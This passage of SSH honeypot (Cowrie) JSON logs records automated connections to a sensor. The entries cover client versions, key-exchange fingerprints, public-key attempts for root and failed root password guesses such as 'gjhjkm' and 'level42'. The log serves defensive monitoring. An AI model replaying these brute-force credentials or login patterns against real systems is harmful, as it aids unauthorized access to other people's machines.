ha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:14.948300Z","src_ip":"62.210.246.122","session":"2cc8535a2ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:15.100877Z","src_ip":"189.203.163.10","session":"3c9aa585d03e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:25:a2:c1:d0:e2:68:b4:2a:05:ab:40:7f:e2:f1:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGkgQxpO5XiMQKj+rtuTTPU7O9yk1su+xUDCWajnMM2fHZrQBwAqvTS5a0H9Jiv8Txt9tqqeP/WoAchwja/e6BwqsgPKg/hZ3JjfQb8GIBUzbDcyuxSRIysbA6W/XNTF16kg881Ezk5F5DrvYnrFS46ZVi8af+Kt1s3IIBIR2Rv9OOGCR4OSOGjasIu0qwNqoL6F9PKY40JWJIBSBXNSIwyeQ2swwRll2pd0/KPa4vLzeo3Wp7E1Zyp2Vufu83qs71wi9XMVFpQPNUKNJwlKir0WOiFcDi7XbSWASjZQzEYegy+PoROvO6/jRw329rFuN73ToxlS65CYwtv9LcLGe5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:25:a2:c1:d0:e2:68:b4:2a:05:ab:40:7f:e2:f1:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:15.339834Z","src_ip":"62.210.246.122","session":"2cc8535a2ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:25:a2:c1:d0:e2:68:b4:2a:05:ab:40:7f:e2:f1:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGkgQxpO5XiMQKj+rtuTTPU7O9yk1su+xUDCWajnMM2fHZrQBwAqvTS5a0H9Jiv8Txt9tqqeP/WoAchwja/e6BwqsgPKg/hZ3JjfQb8GIBUzbDcyuxSRIysbA6W/XNTF16kg881Ezk5F5DrvYnrFS46ZVi8af+Kt1s3IIBIR2Rv9OOGCR4OSOGjasIu0qwNqoL6F9PKY40JWJIBSBXNSIwyeQ2swwRll2pd0/KPa4vLzeo3Wp7E1Zyp2Vufu83qs71wi9XMVFpQPNUKNJwlKir0WOiFcDi7XbSWASjZQzEYegy+PoROvO6/jRw329rFuN73ToxlS65CYwtv9LcLGe5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:15.347387Z","src_ip":"62.210.246.122","session":"2cc8535a2ee6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:6d:d3:c4:10:f6:2d:0f:3d:3f:33:d5:b2:a7:f5:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCr6CYvAeUWDSZmaYSSopYwRTiipz+XqtKClAQQSuVeoVTQ7kygpt2pZ0mJna8I1Q9mK71eSsGlKcjtq9ziia4s7v/zIg3qcCk9FEmxLOW+P9stKHKuqgxXVU7wiSCdpwJkoWODVrmcZafzf5BhZtLTOsK1b4O28LSfGUViHOpWOmiIV0jEb3llxgr6KHlH/bVZsT+F9LP0RbBVPU2e7arKzTcUcgdB7XjYzFwDln81e4+SpO3bu2NHqiQC5obULSvG2bxZl3yeU3LEphzKmVCZmImhxfcT0BERGBJcQGWkmFeiV7dhkgVF5KZjvGMDmJh00YYldaVEAt4KUxcb4T44Rokm/Io0kLkBIZsMB0kJEQhRxvEK7kA5RYtLj7UQ6sMHDcRU6kDdAAzXmyscWLAKG7JwVhd5gdiLdbeQElVQQhKJ6rbCCP0gZ/hr6QfovqqL9xROM7F0TfW/pdfBYC5y2Sa7Ssx/fddD5NA8WxYh2UXrVZgzBRegpAzgBNnU8pDouWVZSEE+qA7SgoBBc/dVcNA0GU09eOgsExydUMZh/HLyiAMT8e9Xt/sSVRQwMkfV6EYXin3nqpt1hEhkjs2uc/H4qkp4BVhu1z4NBiBD09euseBf2Son/MfYzu0FMYsDgdYIa5g1WPoWP6PMo6WLMTUUCaQ33nOl1P87LSQ0dw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:6d:d3:c4:10:f6:2d:0f:3d:3f:33:d5:b2:a7:f5:7b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:15.434302Z","src_ip":"62.210.246.122","session":"2cc8535a2ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:6d:d3:c4:10:f6:2d:0f:3d:3f:33:d5:b2:a7:f5:7b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCr6CYvAeUWDSZmaYSSopYwRTiipz+XqtKClAQQSuVeoVTQ7kygpt2pZ0mJna8I1Q9mK71eSsGlKcjtq9ziia4s7v/zIg3qcCk9FEmxLOW+P9stKHKuqgxXVU7wiSCdpwJkoWODVrmcZafzf5BhZtLTOsK1b4O28LSfGUViHOpWOmiIV0jEb3llxgr6KHlH/bVZsT+F9LP0RbBVPU2e7arKzTcUcgdB7XjYzFwDln81e4+SpO3bu2NHqiQC5obULSvG2bxZl3yeU3LEphzKmVCZmImhxfcT0BERGBJcQGWkmFeiV7dhkgVF5KZjvGMDmJh00YYldaVEAt4KUxcb4T44Rokm/Io0kLkBIZsMB0kJEQhRxvEK7kA5RYtLj7UQ6sMHDcRU6kDdAAzXmyscWLAKG7JwVhd5gdiLdbeQElVQQhKJ6rbCCP0gZ/hr6QfovqqL9xROM7F0TfW/pdfBYC5y2Sa7Ssx/fddD5NA8WxYh2UXrVZgzBRegpAzgBNnU8pDouWVZSEE+qA7SgoBBc/dVcNA0GU09eOgsExydUMZh/HLyiAMT8e9Xt/sSVRQwMkfV6EYXin3nqpt1hEhkjs2uc/H4qkp4BVhu1z4NBiBD09euseBf2Son/MfYzu0FMYsDgdYIa5g1WPoWP6PMo6WLMTUUCaQ33nOl1P87LSQ0dw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:15.438821Z","src_ip":"62.210.246.122","session":"2cc8535a2ee6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:89:d7:90:31:12:44:20:bb:3f:c8:97:10:57:f7:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCOVJGIiyxlnaAEIj+/z0hBAQb+jPMOaVOmor0OawTEr6jdq7TgfzSOlR9TJSiaMbk2uvkDkyqLpxdrWm75LpAs6G1TzIC2DP7QdtkgrsbsR5lzxhHn2XlNlJ+OVNaJxE36wuNSgZ1LMrl72GCbxpfS7/9ie3VTjq712lkoCeiDZUmHyVzDsXdgPvFroDaHXvPShwaNxvwszwVpg0D206NlMAD8blmvFxlJv97eDLP3q7p0lRhtJhkQAsAQjkLkZTUfem4kkcisnv3mCKfTs9LRAkt3EPQ+7Sh9i6HSNLgo6d/FhPALNWyfufpEBVZQuuPqRRcFrQpABmtcDtCTAswCcMg/ubwT4enBIxn1FzI6W79jvkt7iPcJCw8Jg6soVoUFuHdFqEgYRgpzC03aI4YKMZ3BoTa4nU8JQmVZPN4cgJA347dwIO+mGPyZNtw7EkhG9jnLyYEU4II5v39x+9CArgrGvGcr3EvLaWXr677DeYMA8vKEabgcQuiRryRVp7HGdyG77FiP9v2lwaVk7AHoQfrjUiSRYj8FPzQwq0lZlUOgLvBuK/MDYjJO6FZUZbV7qRSb2cRd0JssF0KCH9mlNY/efGckhAHvdRBAE+BVV6jJIjkQrlU8rC8pDkJsUvoiqQnvLInyVXyxsj2WNugvmfKyHetk0aojpLFjMjvMw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:89:d7:90:31:12:44:20:bb:3f:c8:97:10:57:f7:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:15.521802Z","src_ip":"62.210.246.122","session":"2cc8535a2ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:89:d7:90:31:12:44:20:bb:3f:c8:97:10:57:f7:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDCOVJGIiyxlnaAEIj+/z0hBAQb+jPMOaVOmor0OawTEr6jdq7TgfzSOlR9TJSiaMbk2uvkDkyqLpxdrWm75LpAs6G1TzIC2DP7QdtkgrsbsR5lzxhHn2XlNlJ+OVNaJxE36wuNSgZ1LMrl72GCbxpfS7/9ie3VTjq712lkoCeiDZUmHyVzDsXdgPvFroDaHXvPShwaNxvwszwVpg0D206NlMAD8blmvFxlJv97eDLP3q7p0lRhtJhkQAsAQjkLkZTUfem4kkcisnv3mCKfTs9LRAkt3EPQ+7Sh9i6HSNLgo6d/FhPALNWyfufpEBVZQuuPqRRcFrQpABmtcDtCTAswCcMg/ubwT4enBIxn1FzI6W79jvkt7iPcJCw8Jg6soVoUFuHdFqEgYRgpzC03aI4YKMZ3BoTa4nU8JQmVZPN4cgJA347dwIO+mGPyZNtw7EkhG9jnLyYEU4II5v39x+9CArgrGvGcr3EvLaWXr677DeYMA8vKEabgcQuiRryRVp7HGdyG77FiP9v2lwaVk7AHoQfrjUiSRYj8FPzQwq0lZlUOgLvBuK/MDYjJO6FZUZbV7qRSb2cRd0JssF0KCH9mlNY/efGckhAHvdRBAE+BVV6jJIjkQrlU8rC8pDkJsUvoiqQnvLInyVXyxsj2WNugvmfKyHetk0aojpLFjMjvMw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:15.526157Z","src_ip":"62.210.246.122","session":"2cc8535a2ee6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:4a:71:31:f0:74:fd:f0:53:e0:cc:ea:66:c6:f9:68","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJgsAnMqTLZUoXJqFz7G9vQ3GGsAUf+pXInAedajOtdp","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 61:4a:71:31:f0:74:fd:f0:53:e0:cc:ea:66:c6:f9:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:15.609320Z","src_ip":"62.210.246.122","session":"2cc8535a2ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:4a:71:31:f0:74:fd:f0:53:e0:cc:ea:66:c6:f9:68","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJgsAnMqTLZUoXJqFz7G9vQ3GGsAUf+pXInAedajOtdp","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:15.613712Z","src_ip":"62.210.246.122","session":"2cc8535a2ee6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:05:53:ac:38:ad:7c:e9:73:58:4b:af:47:07:ea:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrVYXiJLnbaziS4HiajObS7K6vd5I97v3nH432OQ6LSCh80BqCB6b+768q8UAQgMR6EwdXM6Nt5RQ4dxhYZ7NQj04VYJo3FUBn2Sb5QxXOmIfLsNctoAuwfUWVwpNHx70YvPnfzd88kbiUvDu+MUthckN/hub8dz8/sxWoFHwevgY+Gpdck5EdHj3xmVSuH+iLRe/qVXwV9oavSKNUUuifSOQuNtQey6TZkNhwoLj0Roea7HRgOI954/LIYucB11ftCAusArYY5RbhT3yNzzQHQWBARLRiG3Uru4xPNd+peKfapqxC/ogbKRKhC5ZCOrgenqZZ8QhCTYieF0wzNCDKXAEP3rq3Y9tQoSsUB822a9KcxK3ZC3ZDWx/48NldxQG/N7hULXXZVMsMYV48RkzijP+f4tyQINiFFD8bsTDHmm1hc56lOL5foHIj1BjNyDdUz6Jy0dpMEShxC6Ij4iI3lpkpA8pznTXdRonfMVudBZQP716OW1u1HwtnGafw2Y20WY2FKCcwr8x7UCowIS7zVHOYF0U/lMzAEEbkOIFD+Vm5flFNa/evVGX7Qy4p5mzqsPahqMhzltGj3eo7ibHyF/HHHN+rnc+sv5DecIrJLU4P19O2sCAw0koMYrWk9Jfqth3UHgAgPI0G0Hf/F28mNe9QwODI7+LwBgBOu3CXUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:05:53:ac:38:ad:7c:e9:73:58:4b:af:47:07:ea:38","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:15.698661Z","src_ip":"62.210.246.122","session":"2cc8535a2ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:05:53:ac:38:ad:7c:e9:73:58:4b:af:47:07:ea:38","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrVYXiJLnbaziS4HiajObS7K6vd5I97v3nH432OQ6LSCh80BqCB6b+768q8UAQgMR6EwdXM6Nt5RQ4dxhYZ7NQj04VYJo3FUBn2Sb5QxXOmIfLsNctoAuwfUWVwpNHx70YvPnfzd88kbiUvDu+MUthckN/hub8dz8/sxWoFHwevgY+Gpdck5EdHj3xmVSuH+iLRe/qVXwV9oavSKNUUuifSOQuNtQey6TZkNhwoLj0Roea7HRgOI954/LIYucB11ftCAusArYY5RbhT3yNzzQHQWBARLRiG3Uru4xPNd+peKfapqxC/ogbKRKhC5ZCOrgenqZZ8QhCTYieF0wzNCDKXAEP3rq3Y9tQoSsUB822a9KcxK3ZC3ZDWx/48NldxQG/N7hULXXZVMsMYV48RkzijP+f4tyQINiFFD8bsTDHmm1hc56lOL5foHIj1BjNyDdUz6Jy0dpMEShxC6Ij4iI3lpkpA8pznTXdRonfMVudBZQP716OW1u1HwtnGafw2Y20WY2FKCcwr8x7UCowIS7zVHOYF0U/lMzAEEbkOIFD+Vm5flFNa/evVGX7Qy4p5mzqsPahqMhzltGj3eo7ibHyF/HHHN+rnc+sv5DecIrJLU4P19O2sCAw0koMYrWk9Jfqth3UHgAgPI0G0Hf/F28mNe9QwODI7+LwBgBOu3CXUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:15.702960Z","src_ip":"62.210.246.122","session":"2cc8535a2ee6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:15.790079Z","src_ip":"62.210.246.122","session":"2cc8535a2ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.71.92","src_port":47612,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d26bc221de7","protocol":"ssh","message":"New connection: 43.134.71.92:47612 (10.17.0.5:22) [session: 7d26bc221de7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:15.973479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:15.980020Z","src_ip":"43.134.71.92","session":"7d26bc221de7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:16.226957Z","src_ip":"43.134.71.92","session":"7d26bc221de7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mcs","message":"login attempt [root/mcs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:17.240315Z","src_ip":"43.134.71.92","session":"7d26bc221de7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:18.488732Z","src_ip":"43.134.71.92","session":"7d26bc221de7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":46670,"dst_ip":"10.17.0.5","dst_port":22,"session":"88e3e3897b04","protocol":"ssh","message":"New connection: 193.37.70.224:46670 (10.17.0.5:22) [session: 88e3e3897b04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:27.247560Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:27.252381Z","src_ip":"193.37.70.224","session":"88e3e3897b04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:27.342469Z","src_ip":"193.37.70.224","session":"88e3e3897b04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gjhjkm","message":"login attempt [root/gjhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:27.612272Z","src_ip":"193.37.70.224","session":"88e3e3897b04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:28.706277Z","src_ip":"193.37.70.224","session":"88e3e3897b04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.127.197.59","src_port":38424,"dst_ip":"10.17.0.5","dst_port":22,"session":"11b4a19ea6ba","protocol":"ssh","message":"New connection: 89.127.197.59:38424 (10.17.0.5:22) [session: 11b4a19ea6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:44.772981Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:44.777945Z","src_ip":"89.127.197.59","session":"11b4a19ea6ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:44.900603Z","src_ip":"89.127.197.59","session":"11b4a19ea6ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"level42","message":"login attempt [root/level42] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:45.421940Z","src_ip":"89.127.197.59","session":"11b4a19ea6ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:46.550407Z","src_ip":"89.127.197.59","session":"11b4a19ea6ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":28990,"dst_ip":"10.17.0.5","dst_port":22,"session":"00aa845a3acf","protocol":"ssh","message":"New connection: 38.93.206.2:28990 (10.17.0.5:22) [session: 00aa845a3acf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:50.243841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:52:50.247708Z","src_ip":"38.93.206.2","session":"00aa845a3acf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 